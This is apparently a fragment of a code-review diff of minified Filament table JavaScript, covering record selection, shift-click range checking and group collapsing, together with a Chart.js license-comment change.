AbortController;let{signal:e}=this.checkboxClickController;this.$root?.addEventListener("click",t=>t.target?.matches(".fi-ta-record-checkbox")&&this.handleCheckboxClick(t,t.target),{signal:e})},handleCheckboxClick:function(e,t){if(!this.lastChecked){this.lastChecked=t;return}if(e.shiftKey){let s=Array.from(this.$root?.getElementsByClassName("fi-ta-record-checkbox")??[]);if(!s.includes(this.lastChecked)){this.lastChecked=t;return}let o=s.indexOf(this.lastChecked),r=s.indexOf(t),l=[o,r].sort((i,d)=>i-d),c=[];for(let i=l[0];i<=l[1];i++)s[i].checked=t.checked,c.push(s[i].value);t.checked?this.selectRecords(c):this.deselectRecords(c)}this.lastChecked=t}}}export{n as default};
|
function d(){return{checkboxClickController:null,collapsedGroups:[],isLoading:!1,selectedRecords:[],shouldCheckUniqueSelection:!0,lastCheckedRecord:null,livewireId:null,init:function(){this.livewireId=this.$root.closest("[wire\\:id]").attributes["wire:id"].value,this.$wire.$on("deselectAllTableRecords",()=>this.deselectAllRecords()),this.$watch("selectedRecords",()=>{if(!this.shouldCheckUniqueSelection){this.shouldCheckUniqueSelection=!0;return}this.selectedRecords=[...new Set(this.selectedRecords)],this.shouldCheckUniqueSelection=!1}),this.$nextTick(()=>this.watchForCheckboxClicks()),Livewire.hook("element.init",({component:e})=>{e.id===this.livewireId&&this.watchForCheckboxClicks()})},mountAction:function(e,t=null){this.$wire.set("selectedTableRecords",this.selectedRecords,!1),this.$wire.mountTableAction(e,t)},mountBulkAction:function(e){this.$wire.set("selectedTableRecords",this.selectedRecords,!1),this.$wire.mountTableBulkAction(e)},toggleSelectRecordsOnPage:function(){let e=this.getRecordsOnPage();if(this.areRecordsSelected(e)){this.deselectRecords(e);return}this.selectRecords(e)},toggleSelectRecordsInGroup:async function(e){this.isLoading=!0;let t=await this.$wire.getGroupedSelectableTableRecordKeys(e);this.areRecordsSelected(this.getRecordsInGroupOnPage(e))?this.deselectRecords(t):this.selectRecords(t),this.isLoading=!1},getRecordsInGroupOnPage:function(e){let t=[];for(let s of this.$root?.getElementsByClassName("fi-ta-record-checkbox")??[])s.dataset.group===e&&t.push(s.value);return t},getRecordsOnPage:function(){let e=[];for(let t of this.$root?.getElementsByClassName("fi-ta-record-checkbox")??[])e.push(t.value);return e},selectRecords:function(e){for(let t of e)this.isRecordSelected(t)||this.selectedRecords.push(t)},deselectRecords:function(e){for(let t of e){let s=this.selectedRecords.indexOf(t);s!==-1&&this.selectedRecords.splice(s,1)}},selectAllRecords:async function(){this.isLoading=!0,this.selectedRecords=await this.$wire.getAllSelectableTableRecordKeys(),this.isLoading=!1},deselectAllRecords:function(){this.selectedRecords=[]},isRecordSelected:function(e){return this.selectedRecords.includes(e)},areRecordsSelected:function(e){return e.every(t=>this.isRecordSelected(t))},toggleCollapseGroup:function(e){if(this.isGroupCollapsed(e)){this.collapsedGroups.splice(this.collapsedGroups.indexOf(e),1);return}this.collapsedGroups.push(e)},isGroupCollapsed:function(e){return this.collapsedGroups.includes(e)},resetCollapsedGroups:function(){this.collapsedGroups=[]},watchForCheckboxClicks:function(){this.checkboxClickController&&this.checkboxClickController.abort(),this.checkboxClickController=new AbortController;let{signal:e}=this.checkboxClickController;this.$root?.addEventListener("click",t=>t.target?.matches(".fi-ta-record-checkbox")&&this.handleCheckboxClick(t,t.target),{signal:e})},handleCheckboxClick:function(e,t){if(!this.lastChecked){this.lastChecked=t;return}if(e.shiftKey){let s=Array.from(this.$root?.getElementsByClassName("fi-ta-record-checkbox")??[]);if(!s.includes(this.lastChecked)){this.lastChecked=t;return}let l=s.indexOf(this.lastChecked),r=s.indexOf(t),o=[l,r].sort((c,n)=>c-n),i=[];for(let c=o[0];c<=o[1];c++)s[c].checked=t.checked,i.push(s[c].value);t.checked?this.selectRecords(i):this.deselectRecords(i)}this.lastChecked=t}}}export{d as default};
|
||||||
|
|||||||
File diff suppressed because one or more lines are too long
@ -4,6 +4,7 @@ function rt(){}var Hs=function(){let i=0;return function(){return i++}}();functi
|
|||||||
/*! Bundled license information:
|
/*! Bundled license information:
|
||||||
|
|
||||||
chart.js/dist/chunks/helpers.segment.mjs:
|
chart.js/dist/chunks/helpers.segment.mjs:
|
||||||
|
chart.js/dist/chart.mjs:
|
||||||
(*!
|
(*!
|
||||||
* Chart.js v3.9.1
|
* Chart.js v3.9.1
|
||||||
* https://www.chartjs.org
|
* https://www.chartjs.org
|
||||||
@ -18,12 +19,4 @@ chart.js/dist/chunks/helpers.segment.mjs:
|
|||||||
* (c) 2022 Jukka Kurkela
|
* (c) 2022 Jukka Kurkela
|
||||||
* Released under the MIT License
|
* Released under the MIT License
|
||||||
*)
|
*)
|
||||||
|
|
||||||
chart.js/dist/chart.mjs:
|
|
||||||
(*!
|
|
||||||
* Chart.js v3.9.1
|
|
||||||
* https://www.chartjs.org
|
|
||||||
* (c) 2022 Chart.js Contributors
|
|
||||||
* Released under the MIT License
|
|
||||||
*)
|
|
||||||
*/
|
*/
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user